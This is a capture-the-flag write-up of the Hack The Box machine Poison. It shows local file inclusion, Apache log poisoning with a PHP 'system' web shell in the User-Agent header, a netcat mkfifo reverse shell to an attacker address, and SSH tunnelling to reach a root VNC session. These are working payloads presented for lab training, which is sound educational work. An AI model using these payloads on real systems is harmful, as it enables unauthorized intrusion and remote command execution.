Exercise: Exploiting VNC for initial access in Hack The Box machine Poison
An nmap scan shows that this machine is running FreeBSD and has port 22 (SSH) and port 80 (HTTP) open.
└──╼ $sudo nmap -v -sC -sV -T4 --min-rate 1000 -p- poison.htb -oA nmap/full-tcp
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd
Navigating to the website, there is a home page suggesting that various PHP files can be tested (Figure 4-6).
Home page of Poison machine
Inputting one of the filenames listed results in the contents of that file being listed. If we enter listfiles.php, the output is:
Array (  => .  => ..  => browse.php  => index.php  =>
info.php  => ini.php  => listfiles.php  => phpinfo.php  =>
The PHP code is creating an array of filenames. The interesting one is pwdbackup.txt which if we access has the contents:
This password is secure, it's encoded atleast 13 times..
what could go wrong really..
The encoding format looks like Base64 and so if we simply put the string in a file and decode it13 times we get a password:
└──╼ $cat password.txt | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d| base64 -d| base64 -d
Going back to the home page, the input to the text box is simply being passed as a parameter called "file" to be displayed:
This looks like a candidate for local file inclusion (LFI) by tampering with the file parameter. If we try the URL
We get the contents of the passwd file returned.
# $FreeBSD: releng/11.1/etc/master.passwd 299365 2016-05-10 12:47:36Z bcr $
We can see from the passwd file that there is a user "charix" and using the password we discovered earlier with this, we can SSH into the machine.
This was not the only way that you can gain initial access to the box however. Another way of gaining access is to use a technique called "log poisoning" which involves putting PHP code into the Apache log file that records requests to the site. This log records the URL requested, the protocol, the status code and also the user agent which is the details of the browser client used to make the request. If we put executable PHP into the User Agent header filed in the request and make a request, the next time we use LFI on the log, that code will be executed. The code we can add to the User Agent field is:
<?php system($_GET['c']); ?>
This code takes the value in the query parameter 'c' and executes it using the 'system' command. To add the code to the User Agent field, we can use Burp to intercept the request and then change the value in the Repeater tab before sending it to the server:
GET /browse.php?file=/etc/passwd HTTP/1.1
User-Agent: <?php system($_GET['c']); ?>
Accept-Encoding: gzip, deflate
We can test this now by sending a new request to view the log file and pass a command via the parameter 'c':
GET /browse.php?file=/var/log/httpd-access.log&c=id HTTP/1.1
This will return the contents of the log file and the final line will be:
10.10.14.135 - -  "GET /browse.php?file=/etc/passwd HTTP/1.1" 200 1894 "-" "uid=80(www) gid=80(www) groups=80(www)"
It took the 'id' command and executed it to return the details of the user 'www'.
We can now execute a reverse shell. Start a Netcat listener on your machine:
└──╼ $nc -lvnp 6001
listening on [any] 6001 ...
We can now poison the log with PHP reverse shell code:
exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.135 6001 >/tmp/f')
When we make the GET request to view the log, we will get a reverse shell:
└──╼ $nc -lvnp 6001
listening on [any] 6001 ...
connect to [10.10.14.135] from (UNKNOWN) [10.129.105.0] 35870
sh: can't access tty; job control turned off
The shell isn't great and Python is not on the box to use to upgrade it. If you had got access this way, it would have ben to explore the box to find the pwdbackup.txt file and from there the password for the charix user to enable the use of SSH.
Once SSH'd onto the machine, you discover a file secret.zip which you can copy back to your local host using the scp command:
The file can be unzipped using charix's password to reveal the secret file which has binary data in it but otherwise it is not clear what it is for.
Back to enumeration. Looking at the processes running, you will notice a process Xvnc:
charix@Poison:~ % ps -aux
USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND
root 11 100.0 0.0 0 16 - RL 14:00 30:53.63 [idle]
root 0 0.0 0.0 0 160 - DLs 14:00 0:00.01 [kernel]
root 1 0.0 0.1 5408 976 - ILs 14:00 0:00.01 /sbin/init --
root 2 0.0 0.0 0 16 - DL 14:00 0:00.00 [crypto]
root 614 0.0 0.9 23620 8868 v0- I 14:00 0:00.04 Xvnc :1 -desktop X -httpd /usr/local/share/tight
root 625 0.0 0.7 67220 7048 v0- I 14:00 0:00.03 xterm -geometry 80x24+10+10 -ls -title X Desktop
root 626 0.0 0.5 37620 5312 v0- I 14:00 0:00.01 twm
To get more information, we can display the process information in more detail:
charix@Poison~ % ps -auxww | grep vnc
root 614 0.0 0.9 23620 8868 v0- I 14:00 0:00.04 Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes -auth /root/.Xauthority -geometry 1280x800 -depth 24 -rfbwait 120000 -rfbauth /root/.vnc/passwd -rfbport 5901 -localhost -nolisten tcp :1
From this, we know that TightVNC is running as user root and this is listening on port 5901 on localhost. To access the VNC server, you first set up a tunnel using:
ssh> -D 1080
On our local box, you can confirm that you can access this port by using:
└──╼ $proxychains curl --http0.9 http://127.0.0.1:5901
Note that you used proxychains here to access the VNC server. You could have used the --socks5 argument to curl as well.
We can then run vncviewer using proxychains. This asks for a password and so trying the "secret" file that you got from unzipping "secret.zip" from charix's home directory:
└──╼ $proxychains vncviewer -passwd secret 127.0.0.1:5901
Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
Performing standard VNC authentication
Desktop name "root's X desktop (Poison:1)"
Which launches a VNC session as root (Figure 3-7)
VNC session as root on Poison
VNC's encryption of passwords is more obfuscation than encryption as the key that is used for the DES encryption is well known. It is trivial to find an application that will decrypt the password in the file "secret" and it turns out to be "VNCP@$$!".